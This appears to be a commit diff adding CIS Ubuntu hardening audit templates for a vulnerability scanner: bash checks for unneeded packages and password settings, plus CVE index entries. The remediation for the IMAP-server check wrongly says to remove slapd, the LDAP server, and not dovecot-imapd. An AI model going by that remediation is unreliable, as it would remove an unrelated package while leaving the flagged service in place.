Create CVE-2025-57789.yaml

Added pensando-default-login.yaml Template

.new-additions

@@ -1,3 +1,6 @@
+http/cves/2023/CVE-2023-37988.yaml
+http/cves/2025/CVE-2025-27888.yaml
+http/cves/2025/CVE-2025-28906.yaml
 http/cves/2025/CVE-2025-32430.yaml
 http/cves/2025/CVE-2025-34073.yaml
 http/cves/2025/CVE-2025-54589.yaml
@@ -12,4 +15,6 @@ http/miscellaneous/mta-sts-exposure.yaml
 http/miscellaneous/nostr-json-exposure.yaml
 http/miscellaneous/oauth-authorization-server-exposure.yaml
 http/miscellaneous/pki-validation-exposure.yaml
+http/misconfiguration/mapproxy-file-read.yaml
 http/technologies/nvidia-triton-detect.yaml
+network/cves/2025/CVE-2025-25256.yaml

code/audit/cis/ubuntu/autofs-service.yaml

@@ -0,0 +1,44 @@
+id: autofs-service
+
+info:
+  name: Ensure autofs Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
+  remediation: |
+    - Ensure the `autofs` package is not installed unless explicitly required.
+    - To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
+    - To remove the package, run: sudo apt-get purge -y autofs
+    - To clean up dependencies, run: sudo apt-get autoremove -y
+    - To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s autofs &>/dev/null; then
+          echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
+        else
+          echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/avahi-daemon.yaml

@@ -0,0 +1,41 @@
+id: avahi-daemon
+
+info:
+  name: Ensure Avahi Daemon Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
+  remediation: |
+    - Ensure the `avahi-daemon` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove avahi-daemon -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s avahi-daemon &>/dev/null; then
+          echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
+        else
+          echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/dhcp-server.yaml

@@ -0,0 +1,41 @@
+id: dhcp-server
+
+info:
+  name: Ensure DHCP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
+  remediation: |
+    - Ensure the isc-dhcp-server package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove isc-dhcp-server -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s isc-dhcp-server &>/dev/null; then
+          echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
+        else
+          echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/dns-server.yaml

@@ -0,0 +1,41 @@
+id: dns-server
+
+info:
+  name: Ensure DNS Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
+  remediation: |
+    - Ensure the `bind9` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove bind9 -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s bind9 &>/dev/null; then
+          echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
+        else
+          echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/dnsmasq-service.yaml

@@ -0,0 +1,41 @@
+id: dnsmasq-service
+
+info:
+  name: Ensure dnsmasq Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
+  remediation: |
+    - Ensure the `dnsmasq` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove dnsmasq -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dnsmasq &>/dev/null; then
+          echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
+        else
+          echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/ftp-client.yaml

@@ -0,0 +1,43 @@
+id: ftp-client
+
+info:
+  name: Ensure FTP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
+  remediation: |
+    - Ensure FTP client packages are not installed unless explicitly required.
+    - To remove them, run: sudo apt-get remove ftp tnftp -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,ftp
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if ftp or tnftp packages are installed
+        if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/ftp-server.yaml

@@ -0,0 +1,41 @@
+id: ftp-server
+
+info:
+  name: Ensure FTP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
+  remediation: |
+    - Ensure the `vsftpd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove vsftpd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s vsftpd &>/dev/null; then
+          echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
+        else
+          echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/inactive-password-lock-default.yaml

@@ -0,0 +1,41 @@
+id: inactive-password-lock-default
+
+info:
+  name: Ensure Inactive Password Lock is Configured (Default Setting)
+  author: Th3l0newolf
+  severity: high
+  description: |
+    This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
+  remediation: |
+    Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
+        if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
+          echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
+        else
+          echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/ldap-client.yaml

@@ -0,0 +1,43 @@
+id: ldap-client
+
+info:
+  name: Ensure LDAP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
+  remediation: |
+    - Ensure the ldap-utils package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove ldap-utils -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,ldap
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the ldap-utils package is installed
+        if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/ldap-server.yaml

@@ -0,0 +1,41 @@
+id: ldap-server
+
+info:
+  name: Ensure LDAP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
+  remediation: |
+    - Run: sudo apt-get remove slapd -y
+    - This removes the LDAP server package to reduce the system’s attack surface.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s slapd &>/dev/null; then
+          echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
+        else
+          echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/message-access-server.yaml

@@ -0,0 +1,42 @@
+id: message-access-server
+
+info:
+  name: Ensure Message Access Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dovecot-imapd package provides the Dovecot IMAP server, which allows users to remotely access email stored on the system. If not explicitly required, having this service installed unnecessarily increases the system's attack surface and could expose it to potential remote exploits. To maintain a secure system, IMAP services should only be installed and enabled when there is a clear business requirement.
+  remediation: |
+    - Ensure the `slapd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove slapd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dovecot-imapd &>/dev/null; then
+          echo "[message-access-server-check:Policy-Fail] [dovecot-imapd is installed] [CIS_FAIL]"
+        else
+          echo "[message-access-server-check:Policy-Pass] [dovecot-imapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/nis-client.yaml

@@ -0,0 +1,43 @@
+id: nis-client
+
+info:
+  name: Ensure NIS Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The nis package provides the Network Information Service client, which is insecure and deprecated.If not explicitly required, it should be removed to reduce the system’s attack surface.
+  remediation: |
+    - Ensure the nis package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove nis -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,nis
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the nis package is installed
+        if dpkg-query -W -f='${Status}' nis 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-nis-client-check:Policy-Fail] [NIS is installed] [CIS_FAIL]"
+        else
+          echo "[cis-nis-client-check:Policy-Pass] [NIS is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/password-expiration.yaml

@@ -0,0 +1,47 @@
+id: password-expiration
+
+info:
+  name: Ensure Password Expiration is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MAX_DAYS setting in /etc/login.defs defines how long a password may be used before it must be changed.To comply with CIS Ubuntu Linux Benchmark, this value should be set to a number greater than 0 and less than or equal to 365.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MAX_DAYS 365 (or another value between 1 and 365).Verify the change with: grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MAX_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MAX_DAYS_LINE" ]; then
+          VALUE=$(echo "$MAX_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ] && [ "$VALUE" -le 365 ]; then
+            echo "[password-expiration-check:Policy-Pass] [PASS_MAX_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/password-min-days.yaml

@@ -0,0 +1,47 @@
+id: password-min-days
+
+info:
+  name: Ensure Minimum Password Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MIN_DAYS setting in /etc/login.defs defines the minimum number of days required between password changes.This prevents users from rapidly cycling through passwords to bypass password history requirements.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MIN_DAYS 1 (or another value greater than 0).Verify the change with: grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MIN_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MIN_DAYS_LINE" ]; then
+          VALUE=$(echo "$MIN_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ]; then
+            echo "[password-min-days-check:Policy-Pass] [PASS_MIN_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/password-warn-age.yaml

@@ -0,0 +1,47 @@
+id: password-warn-age
+
+info:
+  name: Ensure Password Expiration Warning Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_WARN_AGE setting in /etc/login.defs defines the number of days before password expiration that users are warned.To comply with CIS Ubuntu Linux Benchmark, this value should be set to 7 to provide sufficient notice for users to change passwords.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_WARN_AGE 7.Verify the change with: grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        WARN_AGE_LINE=$(grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$WARN_AGE_LINE" ]; then
+          VALUE=$(echo "$WARN_AGE_LINE" | awk '{print $2}')
+          if [ "$VALUE" -eq 7 ]; then
+            echo "[password-warn-age-check:Policy-Pass] [PASS_WARN_AGE is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/rsh-client.yaml

@@ -0,0 +1,42 @@
+id: ssh-rsh-client
+
+info:
+  name: Ensure rsh Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The rsh-client package provides the Remote Shell client, which transmits data in plaintext and is considered insecure.If not explicitly required, it should be removed to reduce exposure to unauthorized remote access.
+  remediation: |
+    Ensure the rsh-client package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove rsh-client -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,rsh
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the rsh-client package is installed
+        if dpkg-query -W -f='${Status}' rsh-client 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-rsh-client-check:Policy-Fail] [rsh-client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-rsh-client-check:Policy-Pass] [rsh-client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/strong-password-hashing.yaml

@@ -0,0 +1,47 @@
+id: strong-password-hashing
+
+info:
+  name: Ensure Strong Password Hashing Algorithm is Configured
+  author: Th3l0newolf
+  severity: high
+  description: |
+    The ENCRYPT_METHOD setting in /etc/login.defs specifies the algorithm used to hash passwords.It should be set to SHA512 or yescrypt, as weaker algorithms may expose passwords to brute-force attacks.
+  remediation: |
+    Edit /etc/login.defs and set ENCRYPT_METHOD to either SHA512 or yescrypt.Verify with: grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        HASH_METHOD_LINE=$(grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs | head -n1)
+        if [ -n "$HASH_METHOD_LINE" ]; then
+          VALUE=$(echo "$HASH_METHOD_LINE" | awk '{print $2}' | tr '[:upper:]' '[:lower:]')
+          if [ "$VALUE" = "sha512" ] || [ "$VALUE" = "yescrypt" ]; then
+            echo "[strong-password-hashing-check:Policy-Pass] [ENCRYPT_METHOD is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/talk-client.yaml

@@ -0,0 +1,42 @@
+id: talk-client
+
+info:
+  name: Ensure Talk Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The talk package provides a client for user-to-user messaging on local or remote systems.Since it uses unencrypted communication, it should be removed to minimize security risks.
+  remediation: |
+    Ensure the talk package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove talk -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,talk
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the talk package is installed
+        if dpkg-query -W -f='${Status}' talk 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-talk-client-check:Policy-Fail] [talk is installed] [CIS_FAIL]"
+        else
+          echo "[cis-talk-client-check:Policy-Pass] [talk is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

code/audit/cis/ubuntu/telnet-client.yaml

@@ -0,0 +1,42 @@
+id: telnet-client
+
+info:
+  name: Ensure Telnet Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The telnet and inetutils-telnet packages provide a Telnet client for remote access.Since Telnet uses unencrypted communication, these packages should not be installed to reduce the risk of credential theft and unauthorized access.
+  remediation: |
+    Ensure telnet and inetutils-telnet packages are not installed unless explicitly required.To remove them, run: sudo apt-get remove telnet inetutils-telnet -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,telnet
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if telnet or inetutils-telnet package is installed
+        if dpkg-query -W -f='${Package} ${Status}\n' telnet inetutils-telnet 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-telnet-client-check:Policy-Fail] [Telnet client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-telnet-client-check:Policy-Pass] [Telnet client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"

cves.json

@@ -2375,6 +2375,7 @@
 {"ID":"CVE-2023-37679","Info":{"Name":"NextGen Mirth Connect - Remote Code Execution","Severity":"critical","Description":"Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-37679.yaml"}
 {"ID":"CVE-2023-37728","Info":{"Name":"IceWarp Webmail Server v10.2.1 - Cross Site Scripting","Severity":"medium","Description":"Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37728.yaml"}
 {"ID":"CVE-2023-37979","Info":{"Name":"Ninja Forms \u003c 3.6.26 - Cross-Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37979.yaml"}
+{"ID":"CVE-2023-37988","Info":{"Name":"Contact Form Generator \u003c= 2.5.5 - Cross-Site Scripting","Severity":"medium","Description":"The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37988.yaml"}
 {"ID":"CVE-2023-38035","Info":{"Name":"Ivanti Sentry - Authentication Bypass","Severity":"critical","Description":"A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-38035.yaml"}
 {"ID":"CVE-2023-38040","Info":{"Name":"Revive Adserver 5.4.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38040.yaml"}
 {"ID":"CVE-2023-38192","Info":{"Name":"SuperWebMailer 9.00.0.01710 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38192.yaml"}
@@ -3084,9 +3085,11 @@
 {"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
 {"ID":"CVE-2025-2776","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2776.yaml"}
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
